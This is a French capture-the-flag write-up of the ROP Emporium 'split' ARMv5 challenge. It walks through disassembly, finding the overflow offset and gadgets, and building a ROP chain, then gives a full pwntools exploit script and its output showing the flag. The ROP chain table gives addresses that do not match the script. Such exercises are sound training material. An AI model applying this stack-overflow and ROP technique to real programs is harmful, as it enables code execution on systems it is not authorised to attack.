Ropemporium ARMv5 split
split armv5
Introduction.
Dans ce second exercice on doit passer une argument à la fonction appelée. L’argument est présent dans le programme
## Découverte
Contenu
-rw-r--r-- 1 jce jce 33 2 juil. 2020 flag.txt
-rw-r--r-- 1 jce jce 11173 21 juin 17:27 ropgadget.txt
-rwxr-xr-x 1 jce jce 8436 3 juil. 2020 split_armv5
Execution du programme avec qemu
armv5/02_split$ qemu-arm split_armv5
split by ROP Emporium
ARMv5
Contriving a reason to ask user for data...
> AAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCDDDDDDDDDDDDEEEE
Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Erreur de segmentation
Analyse
Le code de la fonction pwnme :
[0x00010428]> pdf @sym.pwnme
; CALL XREF from main @ 0x10548
┌ 88: sym.pwnme ();
│ ; var void *buf @ fp-0x24
│ ; var int32_t var_4h_2 @ sp+0x20
│ ; var int32_t var_4h @ sp+0x24
│ 0x00010570 00482de9 push {fp, lr}
│ 0x00010574 04b08de2 add fp, var_4h
│ 0x00010578 20d04de2 sub sp, sp, 0x20
│ 0x0001057c 24304be2 sub r3, buf
│ 0x00010580 2020a0e3 mov r2, 0x20
│ 0x00010584 0010a0e3 mov r1, 0 ; int c
│ 0x00010588 0300a0e1 mov r0, r3 ; void *s
│ 0x0001058c 9fffffeb bl sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x00010590 30009fe5 ldr r0, str.Contriving_a_reason_to_ask_user_for_data... ; [0x1068c:4]=0x746e6f43 ; "Contriving a reason to ask user for data..." ; const char *s
│ 0x00010594 8effffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x00010598 2c009fe5 ldr r0, str.__ ; [0x106b8:4]=0x203e ; "> " ; const char *format
│ 0x0001059c 86ffffeb bl sym.imp.printf ; int printf(const char *format)
│ 0x000105a0 24304be2 sub r3, buf
│ 0x000105a4 6020a0e3 mov r2, 0x60 ; '`'
│ 0x000105a8 0310a0e1 mov r1, r3 ; void *buf
│ 0x000105ac 0000a0e3 mov r0, 0 ; int fildes
│ 0x000105b0 84ffffeb bl sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x000105b4 14009fe5 ldr r0, str.Thank_you_ ; [0x106bc:4]=0x6e616854 ; "Thank you!" ; const char *s
│ 0x000105b8 85ffffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x000105bc 0000a0e1 mov r0, r0 ; 0x106bc ; "Thank you!"
│ 0x000105c0 04d04be2 sub sp, var_4h_2
└ 0x000105c4 0088bde8 pop {fp, pc}
[0x00010428]>
La fonction read est appelée avec un registre r1 chargé avec fp-0x24. L’offset d’écrasement de l’adresse de retour est donc 0x28 soit 40 octets.
Le programme contient aussi la fonction usefulFunction qui appelle system("/bin/ls").
[0x00010428]> pdf @ sym.usefulFunction
┌ 24: sym.usefulFunction ();
│ ; var int32_t var_4h @ sp+0x4
│ 0x000105d4 00482de9 push {fp, lr}
│ 0x000105d8 04b08de2 add fp, var_4h
│ 0x000105dc 08009fe5 ldr r0, str._bin_ls ; [0x106c8:4]=0x6e69622f ; "/bin/ls" ; const char *string
│ 0x000105e0 81ffffeb bl sym.imp.system ; int system(const char *string)
│ 0x000105e4 0000a0e1 mov r0, r0 ; 0x106c8 ; "/bin/ls"
└ 0x000105e8 0088bde8 pop {fp, pc}
La chaine de caractère utile pour afficher le flag est disponible dans le code.
[0x00010428]> fs strings
[0x00010428]> f
0x00010660 21 str.split_by_ROP_Emporium
0x00010678 7 str.ARMv5_n
0x00010678 6 str.ARMv5
0x00010680 9 str._nExiting
0x00010680 8 str.Exiting
0x0001068c 43 str.Contriving_a_reason_to_ask_user_for_data...
0x000106b8 2 str.__
0x000106bc 10 str.Thank_you_
0x000106c8 7 str._bin_ls
0x0002103c 18 str._bin_cat_flag.txt
[0x00010428]> ps @ obj.usefulString
/bin/cat flag.txt
[
Construction de l’attaque.
Notre objectif va être d’appeller la fonction system en appellant l’adresse 0x000105e0 avec en paramètre l’adresse la la chaine “/bin/cat flag.txt”.
Pour passer le paramêtre il nous faut charger le registre r0 avec l’adresse 0x0002103c.
Recherche de gadgets
Il nous faut d’abord un gadget qui permet de charger r0.
On ne trouve pas de gadget avec un pop r0
.
En revanche on trouve des operations de type mov.
ropemporium/armv5/split# ROPgadget --binary split_armv5 --depth 3|grep mov
0x000105e0 : bl #0x103ec ; mov r0, r0 ; pop {fp, pc}
0x000105e4 : mov r0, r0 ; pop {fp, pc}
0x000105bc : mov r0, r0 ; sub sp, fp, #4 ; pop {fp, pc}
0x00010558 : mov r0, r3 ; pop {fp, pc}
0x00010634 : mov r0, r7 ; blx r3
0x00010630 : mov r1, r8 ; mov r0, r7 ; blx r3
0x00010554 : mov r3, #0 ; mov r0, r3 ; pop {fp, pc}
0x00010504 : mov r3, #1 ; strb r3, [r4] ; pop {r4, pc}
0x00010558 : mov r0, r3 ; pop {fp, pc}
On recherche un pop pour charge r3 :
ropemporium/armv5/split# ROPgadget --binary split_armv5 --depth 2|grep pop|grep r3
0x000103a0 : bl #0x10464 ; pop {r3, pc}
0x00010558 : mov r0, r3 ; pop {fp, pc}
0x000103a4 : pop {r3, pc}
0x00010654 : push {r3, lr} ; pop {r3, pc}
0x00010508 : strb r3, [r4] ; pop {r4, pc}
On peut retenir pour charger r0 :
0x000103a4 : pop {r3, pc}
0x00010558 : mov r0, r3 ; pop {fp, pc}
La ropchaine
ROP entry | comment |
---|---|
0x000103a4 | pop {r3, pc} |
0x004009c8 | @ /bin/cat flag.txt |
0x00010558 | mov r0, r3 ; pop {fp, pc} |
0xdeadbeef | pour fp |
0x004009ec | appel system |
Exploitation
Script python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# Set up pwntools for the correct architecture
elf = context.binary = ELF('split_armv5')
gs='''
b *pwnme+64
c
'''
# 0x000103a4 : pop {r3, pc}
g_popr3 = 0x000103a4
# 0x00010558 : mov r0, r3 ; pop {fp, pc}
g_movr0r3 = 0x00010558
if len(sys.argv)>1 and sys.argv[1] == "-d":
io = gdb.debug([elf.path],gdbscript=gs)
else:
io = process([elf.path])
time.sleep(.5)
io.recvuntil(b"> ")
usefulString = elf.symbols["usefulString"]
usefulFunction = elf.symbols["usefulFunction"]
system = usefulFunction+12
log.info(f"{usefulString=:x}")
log.info(f"{system=:x}")
log.info(f"{g_popr3=:x}")
PL=0x20*b"A"
PL+=p32(0) # Pour fp
PL+=p32(g_popr3 )
PL+=p32(usefulString)
PL+=p32(g_movr0r3 )
PL+=p32(0) # Pour fp
PL+=p32(system)
io.sendline(PL)
io.interactive()
Execution
02_split# python3 solve.py
[*] '/w/ropemporium/armv5/02_split/split_armv5'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
[+] Starting local process '/w/ropemporium/armv5/02_split/split_armv5': pid 1118
[*] usefulString=2103c
[*] system=105e0
[*] g_popr3=103a4
[*] Switching to interactive mode
Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$